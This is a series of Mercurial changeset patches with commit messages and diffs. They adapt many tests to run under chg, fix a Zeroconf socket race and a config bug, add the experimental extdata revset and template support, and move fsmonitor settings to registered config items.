`server.close()` closes the underlying socket while the `ServiceBrowser` may
still have a background thread reading the socket. There could be a race
condition where the reading thread reads the closed socket, resulting in
EBADF crash. This patch catches the exception.

This makes test-paths.t pass with chg.

Differential Revision: https://phab.mercurial-scm.org/D919

diff --git a/hgext/zeroconf/Zeroconf.py b/hgext/zeroconf/Zeroconf.py
--- a/hgext/zeroconf/Zeroconf.py
+++ b/hgext/zeroconf/Zeroconf.py
@@ -80,6 +80,7 @@
 __email__ = "paul at scott dash murphy dot com"
 __version__ = "0.12"
 
+import errno
 import itertools
 import select
 import socket
@@ -937,7 +938,16 @@
         self.zeroconf.engine.addReader(self, self.zeroconf.socket)
 
     def handle_read(self):
-        data, (addr, port) = self.zeroconf.socket.recvfrom(_MAX_MSG_ABSOLUTE)
+        data = addr = port = None
+        sock = self.zeroconf.socket
+        try:
+            data, (addr, port) = sock.recvfrom(_MAX_MSG_ABSOLUTE)
+        except socket.error as e:
+            if e.errno == errno.EBADF:
+                # some other thread may close the socket
+                return
+            else:
+                raise
         self.data = data
         msg = DNSIncoming(data)
         if msg.isQuery():
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507057763 25200
#      Tue Oct 03 12:09:23 2017 -0700
# Node ID 1f5bd3e1a7fe9f068d6dfeff5f693fe706478020
# Parent  5385b76fd1fd25668d609eab31726449b96d7965
test-basic: make test compatible with chg

The error codes returned when writing to /dev/full are different after
the first failure with and without '--chg' option. Therefore, this commit
conditionally handles the error codes as appropriate.

Test Plan:
Ran the test 'test-basic.t' with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D922

diff --git a/tests/test-basic.t b/tests/test-basic.t
--- a/tests/test-basic.t
+++ b/tests/test-basic.t
@@ -31,7 +31,9 @@
   $ hg status >/dev/full
   abort: No space left on device
   [255]
+#endif
 
+#if devfull no-chg
   $ hg status >/dev/full 2>&1
   [1]
 
@@ -39,6 +41,14 @@
   [1]
 #endif
 
+#if devfull chg
+  $ hg status >/dev/full 2>&1
+  [255]
+
+  $ hg status ENOENT 2>/dev/full
+  [255]
+#endif
+
   $ hg commit -m test
 
 This command is ancient:
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507060168 25200
#      Tue Oct 03 12:49:28 2017 -0700
# Node ID 47b9c572ca325abb6f2aa6c1a210c0461df795a7
# Parent  1f5bd3e1a7fe9f068d6dfeff5f693fe706478020
test-convert-cvs: make test compatible with chg

The test uses the 'print' method instead of writing to stdout using
'ui.write' which leads to incompatibility with chg. This commit modifies the
test to use the 'ui' object instead which fixes the problem.

Test Plan:
Ran the test 'test-convert-cvs.t' with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D923

diff --git a/tests/test-convert-cvs.t b/tests/test-convert-cvs.t
--- a/tests/test-convert-cvs.t
+++ b/tests/test-convert-cvs.t
@@ -12,10 +12,10 @@
   $ echo "convert = " >> $HGRCPATH
   $ cat > cvshooks.py <<EOF
   > def cvslog(ui,repo,hooktype,log):
-  >     print("%s hook: %d entries"%(hooktype,len(log)))
+  >     ui.write('%s hook: %d entries\n' % (hooktype,len(log)))
   > 
   > def cvschangesets(ui,repo,hooktype,changesets):
-  >     print("%s hook: %d changesets"%(hooktype,len(changesets)))
+  >     ui.write('%s hook: %d changesets\n' % (hooktype,len(changesets)))
   > EOF
   $ hookpath=`pwd`
   $ cat <<EOF >> $HGRCPATH
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507061158 25200
#      Tue Oct 03 13:05:58 2017 -0700
# Node ID 6981d120c9d7f1f264fd72dd53eb22a0e594dbef
# Parent  47b9c572ca325abb6f2aa6c1a210c0461df795a7
test-merge-subrepos: make test compatible with chg

The test checks the output of '.hg/blackbox.log' which will contain
logs corresponding to chg in case chg is running. Therefore, this commit
modifies the test to take chg into consideration while checking the
blackbox.log contents.

Test Plan:
Ran the test 'test-merge-subrepos.t' with and without the '--chg'
option.

Differential Revision: https://phab.mercurial-scm.org/D925

diff --git a/tests/test-merge-subrepos.t b/tests/test-merge-subrepos.t
--- a/tests/test-merge-subrepos.t
+++ b/tests/test-merge-subrepos.t
@@ -60,6 +60,7 @@
   $ hg id --config extensions.blackbox= --config blackbox.dirty=True
   9bfe45a197d7+ tip
   $ cat .hg/blackbox.log
+  * @9bfe45a197d7b0ab09bf287729dd57e9619c9da5+ (*)> serve --cmdserver chgunix * (glob) (chg !)
   * @9bfe45a197d7b0ab09bf287729dd57e9619c9da5+ (*)> id (glob)
   * @9bfe45a197d7b0ab09bf287729dd57e9619c9da5+ (*)> id --config *extensions.blackbox=* --config *blackbox.dirty=True* exited 0 * (glob)
 
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507062636 25200
#      Tue Oct 03 13:30:36 2017 -0700
# Node ID 533f329371828b58d0d064797562d16f8e2be325
# Parent  6981d120c9d7f1f264fd72dd53eb22a0e594dbef
test-setdiscovery: make test compatible with chg

The test checks the output of the blackbox extension which will
contain logs corresponding to chg in case chg is running. Therefore, this
commit modifies the test to take chg into consideration while working with the
blackbox extension.

Test Plan:
Ran the test 'test-setdiscovery.t' with and without the '--chg'
option.

Differential Revision: https://phab.mercurial-scm.org/D926

diff --git a/tests/test-setdiscovery.t b/tests/test-setdiscovery.t
--- a/tests/test-setdiscovery.t
+++ b/tests/test-setdiscovery.t
@@ -403,6 +403,7 @@
   searching for changes
   101 102 103 104 105 106 107 108 109 110  (no-eol)
   $ hg -R r1 --config extensions.blackbox= blackbox
+  * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> serve --cmdserver chgunix * (glob) (chg !)
   * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> outgoing r2 *-T{rev} * (glob)
   * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> found 101 common and 1 unknown server heads, 2 roundtrips in *.????s (glob)
   * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> -R r1 outgoing r2 *-T{rev} * --config *extensions.blackbox=* exited 0 after *.?? seconds (glob)
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507066524 25200
#      Tue Oct 03 14:35:24 2017 -0700
# Node ID 26c879bbf4eeb98d8c70b2663dc913b6d98d0b19
# Parent  533f329371828b58d0d064797562d16f8e2be325
test-hook: make test compatible with chg

The test uses the 'print' method instead of writing to stdout using
'ui.write' which leads to incompatibility with chg. This commit modifies the
test to use 'ui' instead which fixes the problem.

Test Plan:
Ran the test 'test-hook.t' with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D927

diff --git a/tests/test-hook.t b/tests/test-hook.t
--- a/tests/test-hook.t
+++ b/tests/test-hook.t
@@ -413,20 +413,18 @@
   > 
   > uncallable = 0
   > 
-  > def printargs(args):
-  >     args.pop('ui', None)
-  >     args.pop('repo', None)
+  > def printargs(ui, args):
   >     a = list(args.items())
   >     a.sort()
-  >     print('hook args:')
+  >     ui.write('hook args:\n')
   >     for k, v in a:
-  >        print(' ', k, v)
+  >        ui.write('  %s %s\n' % (k, v))
   > 
-  > def passhook(**args):
-  >     printargs(args)
+  > def passhook(ui, repo, **args):
+  >     printargs(ui, args)
   > 
-  > def failhook(**args):
-  >     printargs(args)
+  > def failhook(ui, repo, **args):
+  >     printargs(ui, args)
   >     return True
   > 
   > class LocalException(Exception):
@@ -445,7 +443,7 @@
   >     ui.note('verbose output from hook\n')
   > 
   > def printtags(ui, repo, **args):
-  >     print(sorted(repo.tags()))
+  >     ui.write('%s\n' % sorted(repo.tags()))
   > 
   > class container:
   >     unreachable = 1
@@ -629,8 +627,8 @@
   $ cd c
 
   $ cat > hookext.py <<EOF
-  > def autohook(**args):
-  >     print("Automatically installed hook")
+  > def autohook(ui, **args):
+  >     ui.write('Automatically installed hook\n')
   > 
   > def reposetup(ui, repo):
   >     repo.ui.setconfig("hooks", "commit.auto", autohook)
@@ -666,8 +664,8 @@
 
   $ cd hooks
   $ cat > testhooks.py <<EOF
-  > def testhook(**args):
-  >     print('hook works')
+  > def testhook(ui, **args):
+  >     ui.write('hook works\n')
   > EOF
   $ echo '[hooks]' > ../repo/.hg/hgrc
   $ echo "pre-commit.test = python:`pwd`/testhooks.py:testhook" >> ../repo/.hg/hgrc
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507075157 25200
#      Tue Oct 03 16:59:17 2017 -0700
# Node ID 40b6d25ed2d525938ad666e6a0e13f663a4cbcef
# Parent  26c879bbf4eeb98d8c70b2663dc913b6d98d0b19
test-strip: make test compatible with chg

The test was using reposetup which had the logic for stripping
commits. This leads to a situation where if the reposetup was called twice for
an extension (which can happen with chg running), the stripped node would not
be found the second time. Therefore, this commit changes the test to put the
stripping logic inside commands instead of the reposetup. This ensures that the
stripping logic is invoked only when the command is invoked and thus, avoids
any problems.

Test Plan:
Ran the test 'test-strip.t' with and without the '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D928

diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -962,8 +962,11 @@
   $ echo 3 >> I
   $ cat > $TESTTMP/delayedstrip.py <<EOF
   > from __future__ import absolute_import
-  > from mercurial import commands, repair
-  > def reposetup(ui, repo):
+  > from mercurial import commands, registrar, repair
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('testdelayedstrip')
+  > def testdelayedstrip(ui, repo):
   >     def getnodes(expr):
   >         return [repo.changelog.node(r) for r in repo.revs(expr)]
   >     with repo.wlock():
@@ -973,10 +976,10 @@
   >                 repair.delayedstrip(ui, repo, getnodes('G+H+Z'), 'I')
   >                 commands.commit(ui, repo, message='J', date='0 0')
   > EOF
-  $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/delayedstrip.py
+  $ hg testdelayedstrip --config extensions.t=$TESTTMP/delayedstrip.py
   warning: orphaned descendants detected, not stripping 08ebfeb61bac, 112478962961, 7fb047a69f22
   saved backup bundle to $TESTTMP/delayedstrip/.hg/strip-backup/f585351a92f8-17475721-I.hg (glob)
-  
+
   $ hg log -G -T '{rev}:{node|short} {desc}' -r 'sort(all(), topo)'
   @  6:2f2d51af6205 J
   |
@@ -1009,8 +1012,11 @@
   $ cp -R . ../scmutilcleanup.obsstore
 
   $ cat > $TESTTMP/scmutilcleanup.py <<EOF
-  > from mercurial import scmutil
-  > def reposetup(ui, repo):
+  > from mercurial import registrar, scmutil
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('testnodescleanup')
+  > def testnodescleanup(ui, repo):
   >     def nodes(expr):
   >         return [repo.changelog.node(r) for r in repo.revs(expr)]
   >     def node(expr):
@@ -1024,10 +1030,10 @@
   >                 scmutil.cleanupnodes(repo, mapping, 'replace')
   >                 scmutil.cleanupnodes(repo, nodes('((B::)+I+Z)-D2'), 'replace')
   > EOF
-  $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/scmutilcleanup.py
+  $ hg testnodescleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
   warning: orphaned descendants detected, not stripping 112478962961, 1fc8102cda62, 26805aba1e60
   saved backup bundle to $TESTTMP/scmutilcleanup/.hg/strip-backup/f585351a92f8-73fb7c03-replace.hg (glob)
-  
+
   $ hg log -G -T '{rev}:{node|short} {desc} {bookmarks}' -r 'sort(all(), topo)'
   o  8:1473d4b996d1 G2 b-F@divergent3 b-G
   |
@@ -1068,8 +1074,8 @@
   > stabilization.track-operation=1
   > EOF
 
-  $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/scmutilcleanup.py
-  
+  $ hg testnodescleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
+
   $ rm .hg/localtags
   $ hg log -G -T '{rev}:{node|short} {desc} {bookmarks}' -r 'sort(all(), topo)'
   o  12:1473d4b996d1 G2 b-F@divergent3 b-G
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507057207 25200
#      Tue Oct 03 12:00:07 2017 -0700
# Node ID 0efdfb57b05cffb26b3f306f08c9424e0481b776
# Parent  40b6d25ed2d525938ad666e6a0e13f663a4cbcef
config: add a missing preparewrite() call

Thanks Yuya for pointing this out in D808.

Differential Revision: https://phab.mercurial-scm.org/D924

diff --git a/mercurial/config.py b/mercurial/config.py
--- a/mercurial/config.py
+++ b/mercurial/config.py
@@ -177,6 +177,7 @@
                 if sections and section not in sections:
                     continue
                 if self.get(section, name) is not None:
+                    self._data[section] = self._data[section].preparewrite()
                     del self._data[section][name]
                 self._unset.append((section, name))
                 continue
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1507104135 -7200
#      Wed Oct 04 10:02:15 2017 +0200
# Node ID 5c122b41070680fba1b82838abc6c141876cc19e
# Parent  0efdfb57b05cffb26b3f306f08c9424e0481b776
tests: change to parent directory before all "hg init" in test-log.t

Add a "cd .." before the second "hg init" so that all repositories are on top
level of test directory. Makes inspection of test directory easier.

diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -15,6 +15,8 @@
   $ hg log -r null -q
   -1:000000000000
 
+  $ cd ..
+
 The g is crafted to have 2 filelog topological heads in a linear
 changeset graph
 
# HG changeset patch
# User Matt Mackall <mpm@selenic.com>
# Date 1473794045 18000
#      Tue Sep 13 14:14:05 2016 -0500
# Node ID 7757cc48b7660f802f51dde04429fcdc797bef22
# Parent  5c122b41070680fba1b82838abc6c141876cc19e
extdata: add extdatasource reader

This adds basic support for extdata, a way to add external data
sources for revsets and templates. An extdata data source is simply a
list of lines of the form:

<revision identifier>[<space><freeform text>]\n

An extdata source is configured thusly:

[extdata]
name = <a url or path>

urls of the form shell: are launch shell commands to generate data.

This patch is slightly modified by Yuya Nishihara as follows:

 - fix typo
 - remove unused function
 - remove future expansion point for parameter (which can be added later
   as the extdata revset/template are experimental)

You can see the original patch at
https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-September/088426.html

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -35,6 +35,7 @@
     pycompat,
     revsetlang,
     similar,
+    url,
     util,
 )
 
@@ -1016,6 +1017,56 @@
         except KeyError:
             raise AttributeError(self.name)
 
+def extdatasource(repo, source):
+    """Gather a map of rev -> value dict from the specified source
+
+    A source spec is treated as a URL, with a special case shell: type
+    for parsing the output from a shell command.
+
+    The data is parsed as a series of newline-separated records where
+    each record is a revision specifier optionally followed by a space
+    and a freeform string value. If the revision is known locally, it
+    is converted to a rev, otherwise the record is skipped.
+
+    Note that both key and value are treated as UTF-8 and converted to
+    the local encoding. This allows uniformity between local and
+    remote data sources.
+    """
+
+    spec = repo.ui.config("extdata", source)
+    if not spec:
+        raise error.Abort(_("unknown extdata source '%s'") % source)
+
+    data = {}
+    if spec.startswith("shell:"):
+        # external commands should be run relative to the repo root
+        cmd = spec[6:]
+        cwd = os.getcwd()
+        os.chdir(repo.root)
+        try:
+            src = util.popen(cmd)
+        finally:
+            os.chdir(cwd)
+    else:
+        # treat as a URL or file
+        src = url.open(repo.ui, spec)
+
+    try:
+        for l in src.readlines():
+            if " " in l:
+                k, v = l.strip().split(" ", 1)
+            else:
+                k, v = l.strip(), ""
+
+            k = encoding.tolocal(k)
+            if k in repo:
+                # we ignore data for nodes that don't exist locally
+                data[repo[k].rev()] = encoding.tolocal(v)
+    finally:
+        src.close()
+
+    return data
+
 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
     if lock is None:
         raise error.LockInheritanceContractViolation(
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506851400 -3600
#      Sun Oct 01 10:50:00 2017 +0100
# Node ID 2c3b8fa3211ba2f66a54bdfc96b1777a419d0645
# Parent  7757cc48b7660f802f51dde04429fcdc797bef22
revset: add experimental support for extdata

This is minimal and non-controversial implementation of extdata() revset.
Originally extdata sources were exposed to the symbol namespace, but I've
changed it to a plain function for simplicity.

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -786,6 +786,17 @@
     contentdivergent = obsmod.getrevs(repo, 'contentdivergent')
     return subset & contentdivergent
 
+@predicate('extdata(source)', safe=False, weight=100)
+def extdata(repo, subset, x):
+    """Changesets in the specified extdata source. (EXPERIMENTAL)"""
+    # i18n: "extdata" is a keyword
+    args = getargsdict(x, 'extdata', 'source')
+    source = getstring(args.get('source'),
+                       # i18n: "extdata" is a keyword
+                       _('extdata takes at least 1 string argument'))
+    data = scmutil.extdatasource(repo, source)
+    return subset & baseset(data)
+
 @predicate('extinct()', safe=True)
 def extinct(repo, subset, x):
     """Obsolete changesets with obsolete descendants only.
diff --git a/tests/test-extdata.t b/tests/test-extdata.t
new file mode 100644
--- /dev/null
+++ b/tests/test-extdata.t
@@ -0,0 +1,56 @@
+  $ hg init repo
+  $ cd repo
+  $ for n in 0 1 2 3; do
+  >   echo $n > $n
+  >   hg ci -qAm $n
+  > done
+
+test revset support
+
+  $ cat <<'EOF' >> .hg/hgrc
+  > [extdata]
+  > filedata = file:extdata.txt
+  > shelldata = shell:cat extdata.txt | grep 2
+  > EOF
+  $ cat <<'EOF' > extdata.txt
+  > 2
+  > 3
+  > EOF
+
+  $ hg log -qr "extdata(filedata)"
+  2:f6ed99a58333
+  3:9de260b1e88e
+  $ hg log -qr "extdata(shelldata)"
+  2:f6ed99a58333
+
+test weight of extdata() revset
+
+  $ hg debugrevspec -p optimized "extdata(filedata) & 3"
+  * optimized:
+  (andsmally
+    (func
+      (symbol 'extdata')
+      (symbol 'filedata'))
+    (symbol '3'))
+  3
+
+test bad extdata() revset source
+
+  $ hg log -qr "extdata()"
+  hg: parse error: extdata takes at least 1 string argument
+  [255]
+  $ hg log -qr "extdata(unknown)"
+  abort: unknown extdata source 'unknown'
+  [255]
+
+we don't fix up relative file URLs, but we do run shell commands in repo root
+
+  $ mkdir sub
+  $ cd sub
+  $ hg log -qr "extdata(filedata)"
+  abort: error: No such file or directory
+  [255]
+  $ hg log -qr "extdata(shelldata)"
+  2:f6ed99a58333
+
+  $ cd ..
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506852789 -3600
#      Sun Oct 01 11:13:09 2017 +0100
# Node ID a1b89c8ad32d957832fe71e3452a05f160980d0c
# Parent  2c3b8fa3211ba2f66a54bdfc96b1777a419d0645
templater: add experimental support for extdata

This is minimal and non-controversial implementation of extdata() template
function. Originally extdata sources were exposed to the keyword namespace,
but I've changed it to a plain function for simplicity.

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -24,6 +24,7 @@
     registrar,
     revset as revsetmod,
     revsetlang,
+    scmutil,
     templatefilters,
     templatekw,
     util,
@@ -593,6 +594,22 @@
 
     return ''.join(chunks)
 
+@templatefunc('extdata(source)', argspec='source')
+def extdata(context, mapping, args):
+    """Show a text read from the specified extdata source. (EXPERIMENTAL)"""
+    if 'source' not in args:
+        # i18n: "extdata" is a keyword
+        raise error.ParseError(_('extdata expects one argument'))
+
+    source = evalstring(context, mapping, args['source'])
+    cache = mapping['cache'].setdefault('extdata', {})
+    ctx = mapping['ctx']
+    if source in cache:
+        data = cache[source]
+    else:
+        data = cache[source] = scmutil.extdatasource(ctx.repo(), source)
+    return data.get(ctx.rev(), '')
+
 @templatefunc('files(pattern)')
 def files(context, mapping, args):
     """All files of the current changeset matching the pattern. See
diff --git a/tests/test-extdata.t b/tests/test-extdata.t
--- a/tests/test-extdata.t
+++ b/tests/test-extdata.t
@@ -10,12 +10,19 @@
   $ cat <<'EOF' >> .hg/hgrc
   > [extdata]
   > filedata = file:extdata.txt
+  > notes = notes.txt
   > shelldata = shell:cat extdata.txt | grep 2
   > EOF
   $ cat <<'EOF' > extdata.txt
-  > 2
+  > 2 another comment on 2
   > 3
   > EOF
+  $ cat <<'EOF' > notes.txt
+  > f6ed this change is great!
+  > e834 this is buggy :(
+  > 0625 first post
+  > bogusnode gives no error
+  > EOF
 
   $ hg log -qr "extdata(filedata)"
   2:f6ed99a58333
@@ -43,6 +50,31 @@
   abort: unknown extdata source 'unknown'
   [255]
 
+test template support:
+
+  $ hg log -r:3 -T "{node|short}{if(extdata('notes'), ' # {extdata('notes')}')}\n"
+  06254b906311 # first post
+  e8342c9a2ed1 # this is buggy :(
+  f6ed99a58333 # this change is great!
+  9de260b1e88e
+
+test template cache:
+
+  $ hg log -r:3 -T '{rev} "{extdata("notes")}" "{extdata("shelldata")}"\n'
+  0 "first post" ""
+  1 "this is buggy :(" ""
+  2 "this change is great!" "another comment on 2"
+  3 "" ""
+
+test bad extdata() template source
+
+  $ hg log -T "{extdata()}\n"
+  hg: parse error: extdata expects one argument
+  [255]
+  $ hg log -T "{extdata('unknown')}\n"
+  abort: unknown extdata source 'unknown'
+  [255]
+
 we don't fix up relative file URLs, but we do run shell commands in repo root
 
   $ mkdir sub
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506855401 -3600
#      Sun Oct 01 11:56:41 2017 +0100
# Node ID d5c5cc767b7e30ff2f52742a1568b8a617051642
# Parent  a1b89c8ad32d957832fe71e3452a05f160980d0c
extdata: ignore ambiguous identifier as well

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1059,9 +1059,10 @@
                 k, v = l.strip(), ""
 
             k = encoding.tolocal(k)
-            if k in repo:
-                # we ignore data for nodes that don't exist locally
+            try:
                 data[repo[k].rev()] = encoding.tolocal(v)
+            except (error.LookupError, error.RepoLookupError):
+                pass # we ignore data for nodes that don't exist locally
     finally:
         src.close()
 
diff --git a/tests/test-extdata.t b/tests/test-extdata.t
--- a/tests/test-extdata.t
+++ b/tests/test-extdata.t
@@ -1,6 +1,6 @@
   $ hg init repo
   $ cd repo
-  $ for n in 0 1 2 3; do
+  $ for n in 0 1 2 3 4 5 6 7 8 9 10 11; do
   >   echo $n > $n
   >   hg ci -qAm $n
   > done
@@ -22,6 +22,7 @@
   > e834 this is buggy :(
   > 0625 first post
   > bogusnode gives no error
+  > a ambiguous node gives no error
   > EOF
 
   $ hg log -qr "extdata(filedata)"
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506855507 -3600
#      Sun Oct 01 11:58:27 2017 +0100
# Node ID 910adadf08e8d6cc0c10b7a0ab553b6e81e3c9f5
# Parent  d5c5cc767b7e30ff2f52742a1568b8a617051642
extdata: just use iterator to read lines one by one

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1052,7 +1052,7 @@
         src = url.open(repo.ui, spec)
 
     try:
-        for l in src.readlines():
+        for l in src:
             if " " in l:
                 k, v = l.strip().split(" ", 1)
             else:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506856376 -3600
#      Sun Oct 01 12:12:56 2017 +0100
# Node ID c67db5dc131d0facdfdadc8c3344a8f3e689867d
# Parent  910adadf08e8d6cc0c10b7a0ab553b6e81e3c9f5
extdata: use subprocess so we don't have to chdir() manually

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -13,6 +13,7 @@
 import os
 import re
 import socket
+import subprocess
 import weakref
 
 from .i18n import _
@@ -1038,20 +1039,18 @@
         raise error.Abort(_("unknown extdata source '%s'") % source)
 
     data = {}
-    if spec.startswith("shell:"):
-        # external commands should be run relative to the repo root
-        cmd = spec[6:]
-        cwd = os.getcwd()
-        os.chdir(repo.root)
-        try:
-            src = util.popen(cmd)
-        finally:
-            os.chdir(cwd)
-    else:
-        # treat as a URL or file
-        src = url.open(repo.ui, spec)
-
+    src = proc = None
     try:
+        if spec.startswith("shell:"):
+            # external commands should be run relative to the repo root
+            cmd = spec[6:]
+            proc = subprocess.Popen(cmd, shell=True, bufsize=-1,
+                                    close_fds=util.closefds,
+                                    stdout=subprocess.PIPE, cwd=repo.root)
+            src = proc.stdout
+        else:
+            # treat as a URL or file
+            src = url.open(repo.ui, spec)
         for l in src:
             if " " in l:
                 k, v = l.strip().split(" ", 1)
@@ -1064,7 +1063,10 @@
             except (error.LookupError, error.RepoLookupError):
                 pass # we ignore data for nodes that don't exist locally
     finally:
-        src.close()
+        if proc:
+            proc.communicate()
+        if src:
+            src.close()
 
     return data
 
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506898036 -3600
#      Sun Oct 01 23:47:16 2017 +0100
# Node ID 8337f7772aa2f5132f0fa460c24a94ffdbb7d37e
# Parent  c67db5dc131d0facdfdadc8c3344a8f3e689867d
fsmonitor: access copymap in new location

fsmonitor has been busted since 0865d25e8a8a due to moving
self._copymap. Fix it.

Differential Revision: https://phab.mercurial-scm.org/D892

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -231,7 +231,7 @@
     dmap = self._map
     nonnormalset = getattr(self, '_nonnormalset', None)
 
-    copymap = self._copymap
+    copymap = self._map.copymap
     getkind = stat.S_IFMT
     dirkind = stat.S_IFDIR
     regkind = stat.S_IFREG
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506893184 -3600
#      Sun Oct 01 22:26:24 2017 +0100
# Node ID 718f7acd6d5ef76dd33146670557df36e74ee68d
# Parent  8337f7772aa2f5132f0fa460c24a94ffdbb7d37e
fsmonitor: use configitem

We might as well get this out of the way.

Differential Revision: https://phab.mercurial-scm.org/D893

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -107,6 +107,7 @@
     merge,
     pathutil,
     pycompat,
+    registrar,
     scmutil,
     util,
 )
@@ -124,6 +125,22 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('fsmonitor', 'mode',
+    default='on',
+)
+configitem('fsmonitor', 'walk_on_invalidate',
+    default=False,
+)
+configitem('fsmonitor', 'timeout',
+    default='2',
+)
+configitem('fsmonitor', 'blacklistusers',
+    default=list,
+)
+
 # This extension is incompatible with the following blacklisted extensions
 # and will disable itself when encountering one of these:
 _blacklist = ['largefiles', 'eol']
diff --git a/hgext/fsmonitor/state.py b/hgext/fsmonitor/state.py
--- a/hgext/fsmonitor/state.py
+++ b/hgext/fsmonitor/state.py
@@ -29,11 +29,10 @@
         self._lastclock = None
         self._identity = util.filestat(None)
 
-        self.mode = self._ui.config('fsmonitor', 'mode', default='on')
+        self.mode = self._ui.config('fsmonitor', 'mode')
         self.walk_on_invalidate = self._ui.configbool(
-            'fsmonitor', 'walk_on_invalidate', False)
-        self.timeout = float(self._ui.config(
-            'fsmonitor', 'timeout', default='2'))
+            'fsmonitor', 'walk_on_invalidate')
+        self.timeout = float(self._ui.config('fsmonitor', 'timeout'))
 
     def get(self):
         try:
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507138975 25200
#      Wed Oct 04 10:42:55 2017 -0700
# Node ID b0910102e495b3832a368eec5da24ff685d51371
# Parent  718f7acd6d5ef76dd33146670557df36e74ee68d
test-devel-warnings: make the test compatible with chg

The test fails when run with the "--chg" option. Therefore, this
commit makes it compatible with chg.

Test Plan:
Ran the test "test-devel-warnings.t' with and without the "--chg"
option

Differential Revision: https://phab.mercurial-scm.org/D915

diff --git a/tests/test-devel-warnings.t b/tests/test-devel-warnings.t
--- a/tests/test-devel-warnings.t
+++ b/tests/test-devel-warnings.t
@@ -96,9 +96,10 @@
   > EOF
   $ hg buggylocking
   devel-warn: "wlock" acquired after "lock" at: $TESTTMP/buggylocking.py:* (buggylocking) (glob)
+#if no-chg
   $ hg buggylocking --traceback
   devel-warn: "wlock" acquired after "lock" at:
-   */hg:* in * (glob)
+   */hg:* in <module> (glob)
    */mercurial/dispatch.py:* in run (glob)
    */mercurial/dispatch.py:* in dispatch (glob)
    */mercurial/dispatch.py:* in _runcatch (glob)
@@ -111,6 +112,43 @@
    */mercurial/dispatch.py:* in <lambda> (glob)
    */mercurial/util.py:* in check (glob)
    $TESTTMP/buggylocking.py:* in buggylocking (glob)
+#else
+  $ hg buggylocking --traceback
+  devel-warn: "wlock" acquired after "lock" at:
+   */hg:* in <module> (glob)
+   */mercurial/dispatch.py:* in run (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   */mercurial/commands.py:* in serve (glob)
+   */mercurial/server.py:* in runservice (glob)
+   */mercurial/commandserver.py:* in run (glob)
+   */mercurial/commandserver.py:* in _mainloop (glob)
+   */mercurial/commandserver.py:* in _runworker (glob)
+   */mercurial/commandserver.py:* in _serverequest (glob)
+   */mercurial/commandserver.py:* in serve (glob)
+   */mercurial/commandserver.py:* in serveone (glob)
+   */mercurial/chgserver.py:* in runcommand (glob)
+   */mercurial/commandserver.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
